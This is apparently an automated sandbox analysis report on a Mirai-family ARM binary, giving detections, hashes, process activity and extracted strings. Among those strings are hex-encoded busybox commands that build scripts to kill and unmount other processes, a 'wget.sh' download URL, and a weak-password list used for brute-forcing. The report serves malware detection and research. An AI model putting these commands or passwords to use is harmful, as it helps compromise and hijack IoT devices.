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Linux Analysis Report
arm7.elf

Overview

General Information

Sample name:	arm7.elf
Analysis ID:	1654505
MD5:	35118a479eea1c51764d84ea90571565
SHA1:	5d0ec499046c8613f53274b337d6ae5306d9e6e7
SHA256:	840d86c654312b77bab09eee6d23463af69d067e3f2704309ac5db0c4b505da9
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Enumerates processes within the "proc" file system

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings indicative of password brute-forcing capabilities

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1654505
Start date and time:	2025-04-02 11:51:53 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm7.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/4@4/0

Runtime Messages

Command:	/tmp/arm7.elf
PID:	5431
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	For God so loved the world
Standard Error:

Process Tree

system is lnxubuntu20

arm7.elf (PID: 5431, Parent: 5355, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm7.elf

arm7.elf New Fork (PID: 5433, Parent: 5431)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm7.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5431.1.00007f1664017000.00007f1664033000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5433.1.00007f1664017000.00007f1664033000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: arm7.elf	Virustotal: Detection: 46%			Perma Link
Source: arm7.elf	ReversingLabs: Detection: 47%

Source: /tmp/arm7.elf (PID: 5433)

Socket: 127.0.0.1:22448

Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: arm7.elf, 5431.1.00007f166403b000.00007f1664045000.rw-.sdmp, arm7.elf, 5433.1.00007f166403b000.00007f1664045000.rw-.sdmp

String found in binary or memory: http://17365637265742070617373776F7264206D656D6F721/t/wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x77\x68\x69\x6c\x65\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x3b\x20\x64\x6f\x20\x6d\x70\x3d\x24\x28\x65\x63\x68\x6f\x20\x22\x24" > kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6c\x22\x20\x7c\x20\x61\x77\x6b\x20\x27\x7b\x70\x72\x69\x6e\x74\x20\x24\x32\x7d\x27\x20\x7c\x20\x73\x65\x64\x20\x27\x73\x2f\x5c" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x5c\x30\x34\x30\x2f\x20\x2f\x67\x27\x29\x3b\x20\x63\x61\x73\x65\x20\x22\x24\x6d\x70\x22\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x5b\x30\x2d\x39\x5d\x2a\x29\x20\x70\x69\x64\x3d\x24\x7b\x6d\x70\x23\x2f\x70\x72\x6f\x63\x2f\x7d\x3b\x20\x5b\x20\x2d\x64\x20\x22" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x2f\x70\x72\x6f\x63\x2f\x24\x70\x69\x64\x22\x20\x5d\x20\x26\x26\x20\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x22\x20" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26\x26\x20\x75\x6d\x6f\x75\x6e\x74\x20\x22\x24\x6d\x70\x22\x20\x32\x3e\x2f\x64" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x2f\x70\x72\x6f\x63\x2f\x6d\x6f\x75" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6e\x74\x73" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6e\x75\x6d\x3d\x22\x24\x7b\x70\x69\x64\x23\x23\x2a\x2f\x7d\x22\x3b\x20\x69\x66\x20\x5b\x20\x2d\x72\x20\x22\x24\x70\x69\x64\x2f" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6d\x61\x70\x73\x22\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x74\x72\x75\x65\x3b\x20\x77" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x68\x69\x6c\x65\x20\x49\x46\x53\x3d\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x69\x6e\x65\x3b\x20\x64\x6f\x20\x63\x61\x73\x65\x20" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x22\x24\x6c\x69\x6e\x65\x22\x20\x69\x6e\x20\x2a\x22\x2f\x6c\x69\x62\x2f\x22\x2a\x7c\x2a\x22\x2f\x6c\x69\x62\x36\x34\x2f\x22\x2a" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x7c\x2a\x22\x2e\x73\x6f\x22\x2a\x29\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x66\x61\x6c\x73\x65\x3b\x20\x62\x72\x65\x61" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6b\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x22\x24\x70\x69\x64\x2f\x6d\x61\x70\x73\x22\x3b\x20\x69\x66" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x20\x5b\x20\x22\x24\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x22\x20\x3d\x20\x74\x72\x75\x65\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x5f\x6e\x75\x6d\x22\x3b\x20\x66\x69\x3b\x20\x66\x69\x3b\x20\x64\x6f\x6e\x65" >> swan
Source: Initial sample	String containing 'busybox' found: sh kmount/bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan

Source: Initial sample	String containing potential weak password found: 12345
Source: Initial sample	String containing potential weak password found: 54321
Source: Initial sample	String containing potential weak password found: 654321
Source: Initial sample	String containing potential weak password found: admin1234
Source: Initial sample	String containing potential weak password found: administrator
Source: Initial sample	String containing potential weak password found: supervisor
Source: Initial sample	String containing potential weak password found: password
Source: Initial sample	String containing potential weak password found: default
Source: Initial sample	String containing potential weak password found: guest
Source: Initial sample	String containing potential weak password found: service
Source: Initial sample	String containing potential weak password found: support

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/4@4/0

Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/239/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/5379/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/914/fd	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/3634/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/3634/fd	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/3634/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/5275/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/5275/fd	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/5275/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/3095/fd	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/241/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/1/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/1588/fd	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/1906/fd	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/802/fd	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/803/fd	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/4075/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/3420/fd	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/3420/cmdline	Jump to behavior

Source: /tmp/arm7.elf (PID: 5431)

Queries kernel information via 'uname':

Jump to behavior

Source: arm7.elf, 5431.1.00007fff01a73000.00007fff01a94000.rw-.sdmp	Binary or memory string: >L%UV/tmp/qemu-open.nlQSXP:
Source: arm7.elf, 5433.1.00007f166403b000.00007f1664045000.rw-.sdmp	Binary or memory string: vmwarem
Source: arm7.elf, 5433.1.00007f166403b000.00007f1664045000.rw-.sdmp	Binary or memory string: vmware
Source: arm7.elf, 5431.1.00007f166403b000.00007f1664045000.rw-.sdmp, arm7.elf, 5433.1.00007f166403b000.00007f1664045000.rw-.sdmp	Binary or memory string: qemu-arm
Source: arm7.elf, 5431.1.00007fff01a73000.00007fff01a94000.rw-.sdmp, arm7.elf, 5433.1.00007fff01a73000.00007fff01a94000.rw-.sdmp	Binary or memory string: p"x86_64/usr/bin/qemu-arm/tmp/arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.elf
Source: arm7.elf, 5431.1.00007f166403b000.00007f1664045000.rw-.sdmp, arm7.elf, 5433.1.00007f166403b000.00007f1664045000.rw-.sdmp	Binary or memory string: qemu-arm)Zm6vnZ5U4mf8vApyWcDwXR44ZAkzslsN)
Source: arm7.elf, 5431.1.0000565527e2b000.0000565527f9d000.rw-.sdmp, arm7.elf, 5433.1.0000565527e2b000.0000565527f9d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.elf, 5431.1.00007fff01a73000.00007fff01a94000.rw-.sdmp, arm7.elf, 5433.1.00007fff01a73000.00007fff01a94000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm7.elf, 5433.1.00007fff01a73000.00007fff01a94000.rw-.sdmp	Binary or memory string: 'UVqemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm7.elf, 5431.1.0000565527e2b000.0000565527f9d000.rw-.sdmp, arm7.elf, 5433.1.0000565527e2b000.0000565527f9d000.rw-.sdmp	Binary or memory string: 'UV!/etc/qemu-binfmt/arm
Source: arm7.elf, 5431.1.00007fff01a73000.00007fff01a94000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.nlQSXP
Source: arm7.elf, 5433.1.00007fff01a73000.00007fff01a94000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm7.elf, type: SAMPLE
Source: Yara match	File source: 5431.1.00007f1664017000.00007f1664033000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5433.1.00007f1664017000.00007f1664033000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: arm7.elf, type: SAMPLE
Source: Yara match	File source: 5431.1.00007f1664017000.00007f1664033000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5433.1.00007f1664017000.00007f1664033000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	1 Brute Force	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm7.elf	46%	Virustotal		Browse
arm7.elf	47%	ReversingLabs	Linux.Backdoor.Gafgyt

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://17365637265742070617373776F7264206D656D6F721/t/wget.sh	arm7.elf, 5431.1.00007f166403b000.00007f1664045000.rw-.sdmp, arm7.elf, 5433.1.00007f166403b000.00007f1664045000.rw-.sdmp	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	aarch64.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	efea6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	xd.powerpc-440fp.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	xd.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	xd.i686.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	xd.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	xd.arc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/tmp/qemu-open.ReSU4P (deleted)

Download File

Process:	/tmp/arm7.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:TgiLG:TgiC
MD5:	451AC90F7FA61D0393D6A5A02158D369
SHA1:	5A7D458802462B80F94A9CDA24E2C877437A8E34
SHA-256:	E2D543300D643CEF7698E750F74E8499993E346EF765FA2061EB5DFAF8D77E48
SHA-512:	EF1D000F5B8BB5AFD4F6CB347FBE0FA0E97608B8C3839B6B44CB9828E5522396B334AE37148FCD2064A423B3DDD0C8874EF7019023A84B36E3893E50353F06FE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm7.elf.

/tmp/qemu-open.nlQSXP (deleted)

Download File

Process:	/tmp/arm7.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:TgiLG:TgiC
MD5:	451AC90F7FA61D0393D6A5A02158D369
SHA1:	5A7D458802462B80F94A9CDA24E2C877437A8E34
SHA-256:	E2D543300D643CEF7698E750F74E8499993E346EF765FA2061EB5DFAF8D77E48
SHA-512:	EF1D000F5B8BB5AFD4F6CB347FBE0FA0E97608B8C3839B6B44CB9828E5522396B334AE37148FCD2064A423B3DDD0C8874EF7019023A84B36E3893E50353F06FE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm7.elf.

/tmp/qemu-open.uUeDBQ (deleted)

Download File

Process:	/tmp/arm7.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:TgiLG:TgiC
MD5:	451AC90F7FA61D0393D6A5A02158D369
SHA1:	5A7D458802462B80F94A9CDA24E2C877437A8E34
SHA-256:	E2D543300D643CEF7698E750F74E8499993E346EF765FA2061EB5DFAF8D77E48
SHA-512:	EF1D000F5B8BB5AFD4F6CB347FBE0FA0E97608B8C3839B6B44CB9828E5522396B334AE37148FCD2064A423B3DDD0C8874EF7019023A84B36E3893E50353F06FE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm7.elf.

/tmp/qemu-open.ueuewR (deleted)

Download File

Process:	/tmp/arm7.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	3.824214113100052
Encrypted:	false
SSDEEP:	6:G258MGz/VUH/vY25KY/V/3VVyAb/rVmsVot/VOArB/VH:5GCnLVIAbyl
MD5:	97D7ECABBD5AFCA1608A7175667522C1
SHA1:	C55EC3C504CF6D5CF0BA0FDE7D5DDE4B187F46DC
SHA-256:	F7E606FA590E741339EA795A3426BA97E660B982998487B950EC35D7C2CC9965
SHA-512:	5DD15AABF95BAFD0E71E1E6A1E389BC743BBEAA8BBD3852ADE2DEA8052E4B44E3C9CDD15C9B02E2FC1B4B9083B728E0626FBE7AFB92CD637AD35A6EDAC788E87
Malicious:	false
Reputation:	low
Preview:	8000-24000 r-xp 00000000 fd:00 531601 /tmp/arm7.elf.2b000-2c000 rw-p 0001b000 fd:00 531601 /tmp/arm7.elf.2c000-36000 rw-p 00000000 00:00 0 .ff7ee000-ff7ef000 r--p 00000000 fd:00 793309 /usr/lib/x86_64-linux-gnu/libm-2.31.so.ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), dynamically linked, stripped
Entropy (8bit):	6.188545467534917
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm7.elf
File size:	112'988 bytes
MD5:	35118a479eea1c51764d84ea90571565
SHA1:	5d0ec499046c8613f53274b337d6ae5306d9e6e7
SHA256:	840d86c654312b77bab09eee6d23463af69d067e3f2704309ac5db0c4b505da9
SHA512:	027c22740c672882258f2de7d295e8cf02938c5b188e8c785c534a1945678f0c47cca03fc91d1b6cbe0fdfe8008c3199fadf40b2b5b14ff2b2b02e9bcc3268b0
SSDEEP:	3072:TuMcaR/sl+ZtS3PX0y8uEF/QB7ZkaF20MzrIR/qM5OcPda:TuMcaR/sl+ZtiPouL1kaF20Mzr4/yb
TLSH:	56B3F659B8819F16D5CA15BEFE0F928D332357A8E3DE7203DD186B2437CA61B0A7B501
